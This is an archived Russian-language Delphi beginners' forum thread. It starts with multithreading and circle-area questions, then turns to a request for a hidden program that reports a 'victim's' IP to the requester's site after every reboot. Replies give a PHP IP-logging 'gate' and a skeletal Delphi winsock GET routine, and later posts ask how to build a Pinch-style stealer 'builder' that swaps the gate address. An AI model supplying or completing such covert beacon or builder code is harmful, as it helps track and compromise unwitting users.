[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

всем привет. Блин покажите на примере плиз многопоточную программу

на примере.

типа
поток 1
idpop31.Connect
idpop31.Disconnect

поток 2
idpop31.Connect
idpop31.Disconnect

поток 3
idpop31.Connect
idpop31.Disconnect

 

TThread class юзай
{
http://forum.vingrad.ru/forum/topic-60076.html - отличная статья
}
либо CreateThread()
{
http://msdn.microsoft.com/en-us/library/ms682453(VS.85).aspx
http://www.vsokovikov.narod.ru/New_MSDN_API/Process_thread/fn_createthread.htm
}

толку от многопоточности если они у тебя юзают 1 объект
так нельзя делать, либо его лочить, либо создавать объекты налету.

 

Парни, над написать программу и запустить ее на выполнение. Вычислить площадь круга, если известна его длина.
Очень прошу, нужна на завтра! Помогите плизззззз

 

Формула доболе простая - L=2PR
Отсюда следует: R=L/2P
А дальше: S:=PR^2

Какой язык?

 

Хм, не совсем правильно спрашиваешь помоему)...
Переформулируй.
МОжно сделать массив компонентов и юзать CreateThread, можно же через Класс TThread, можно через BeginThread(не советую...)

 

Длинна окружности=Pi*диаметр => диаметр=длина/Pi=>площадь=Pi*r^2
На делфе примерно (FloatToStr(Pi*(diam/2)*(diam/2)))) так...

 

уже отпостил в болталке

 

Впринцыпе тоже самое только покороче - написал на коленке:

 

лишнее:

 

сможит ли кто написать программку кпторая бы отпровляла IP на маил или сайт?
Программа должна отправлять IP посли каждой перезагрузки ПК.
Пинч не нужен.

 

А что если сделать на гейт???

Пример:

твоя страница sait.com/myscript.php
содержание:

myscript.php:
(тут пример, допишешь скрипт сам.)

Code:

if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
$IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
$proxyip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}else{
$IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
} 

или же проще:

Code:

$userIP = $_SERVER["REMOTE_ADDR"]; 

И просто get'ом набрать адрес: "sait.com/myscript.php"
усе

Code:

uses winsock;

var
get:string;
s:TSOCKET;
addr:sockaddr_in;

Begin
get:='';// здесь гет запрос:)
  s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  FillChar(addr, SizeOf(sockaddr_in), 0);
  addr.sin_family:=AF_Inet;
  addr.sin_port:=htons(80);
  addr.sin_addr.S_addr:=inet_addr(IP хоста)  ;
  Connect(S,addr,SizeOf(TSockAddr));
  Send(...) ;//GET запрос.
  application.processmessage;
  Shutdown(S,SD_Send);
  closesocket(s);
End;

Все на скорую руку, я просто показал как работать)

 

Так выходит жертву будет постояна выкидевать на мой сайт со скриптом да? а если она поменяет домашнию страницу то тю тю нет мне IP или я не так понил?
Если не так то раскожите пошагово если возмошна буду очень блогодарин спосиба все зарание.

 

Плиз подкинте инфу по созданию билдера

 

а что тут сложного???

 

смешно смешно
я разве говорил что это сложно? я просто не знаю как это сделать, поэтому и спросил...

 

De-visible
обясни пожалуста что делать со вторым кодом? myscript.php я создал и закинул на хост
а вот что совторым ума нимножка неприкладу в каком формати его сохранять? PAS?

 

понимаешь очень много инфы в инете, а вот твою проблему я толком не понял, то есть в билде что тебе надо будет изменять?
(email?icq?или еще что нить)
Или там очень много чего надо будет заменить?

 

Есть файл он парсит одни скрипт, в этом файле прописан адрес, путь до скрипта, вот я хочу создать билд для этого файла, чтобы можно было заменить адрес, путь и т д

 

ммм... если я не втыкаю по ходу такой прикол видел в фейке одного билда пинча, когда заменялась строка пути к гейту.... реализация была не делфи.
завтра пошарюсь. точно помню что там использовалась REPLACESTR
ты это имел в виду? если нет - уточни, а то мне тож интерестно.

 

Вот что я ищу http://forum.antichat.ru/showpost.php?p=846654&postcount=1 только там консольный вариант, а мне надо не консольный